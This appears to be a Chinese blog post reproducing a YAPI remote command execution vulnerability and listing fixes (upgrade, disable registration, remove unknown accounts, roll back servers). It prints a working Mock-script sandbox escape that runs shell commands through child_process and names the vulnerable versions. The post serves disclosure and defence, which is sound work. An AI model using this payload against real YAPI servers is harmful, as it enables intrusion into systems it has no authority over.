YAPI远程命令执行漏洞(最新版已修复此问题)

YAPI是一个广泛使用的api接口管理系统,本文讲的这个远程命令执行漏洞其实已经在最新的几个yapi版本中修复了。漏洞利用过程概括起来就是YAPI开放了注册功能,然后恶意用户注册后新建项目并在接口的Mock功能里面添加了恶意脚本,最终执行了脚本里的命令。

如果要看YAPI的安装昨天有写一篇安装教程的文章,其实当时也是为了本文验证YAPI漏洞而做的准备工作(事实上安装的YAPI版本已经修复了该漏洞,导致我测试时没有复现):

下面讲下复现过程

安装完YAPI后发现mock脚本并不能执行脚本,后来发现我安装的是最新的1.10.2版本,漏洞已经被修复了,如果使用恶意mock浏览器访问后显示如下信息:

{"errcode":400,"errmsg":"解析出错,请检查。Error: process is not defined","data":null}

然后我尝试在已安装1.10.2版本的情况下进行版本降级,然后就去github上下载了1.9.0 YAPI各版本下载地址(因为看网上说好像是从1.9.2开始修复了改漏洞),结果下载发现项目不能启动,需要把一个目录下的config_example.json重命名为config.json才行,因为我安装1.10.2时修改了配置文件的端口所以又把config.json文件内的端口进行了修改,使用node /root/my-yapi/vendors/server/app.js启动时报错找不到Cannot find module ‘fs-extra’,直接cd命令切换到vendors目录下,执行安装命令后再启动就可以了

npm install  fs-extra

运行后发现浏览器访问后还是报错,当时以为是node版本的问题在PM2里面切换了版本也还是同样的报错。

{"errcode":400,"errmsg":"解析出错,请检查。Error: Cannot read property 'require' of undefined","data":null}

没办发也不想一个个去试了,直接按照上面的办发降级到1.7.2版本最终成执行了远程命令。

一、在开启注册功能的YAPI系统上随便注册一个用户

如果注册里显示注册功能被禁用,说明是管理员关闭了注册,外部的人就不能注册了也就无法下一步了,如果你已经有YAPI账号了可以从第二步开始验证下。

二、随便添加一个项目

三、在项目下随便添加一个接口,并在高级Mock里面开启脚本

在mock脚本里添加如下内容

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

保存后回到预览tab页后,点击下面的Mock地址进行访问即可看到”whoami && ps -ef”这个命令成功执行,试想如果把这个命令换成恶意脚本下载的命令会如何呢?

解决方案

1、现在的最新版本是已经修复了该漏洞,升级到最新版本可防止后面人利用该漏洞入侵,但是不能解决已经被入侵的情况。

2、关闭YAPI的注册功能,不管你是不是最新版本都建议关闭注册功能,如果有新人要用可以临时打开后再关闭,或者让运维直接在数据库插入账户

3、检查下是否已经有不熟悉的账号在YAPI里面产生了,需要删除这些账户( 如果你不确定时谁用的,建议把不认识账户都加上一个统一的别人猜不到的后缀,相当于登录的用户名修改了,自然也不能登录了。

4、删除恶意的mock

5、服务器快照回滚,这个操作比较重要,如果没有被黑还好,一旦被黑可能已经在你电脑种下了木马(前面的3个步骤做完也于事无补),如果不能彻底清除的话建议还是重新安装系统并搭建相关环境( 注意备份先)。

基于互联网精神,在注明出处的前提下本站文章可自由转载!

本文链接:https://ranjuan.cn/yapi-remote-command-execute/

赞赏

微信赞赏支付宝赞赏

php一维数组排序并保留键值
python使用pyinstaller打包提示cannot-find-font-file
mysql备份工具xtrabackup2-4(安装)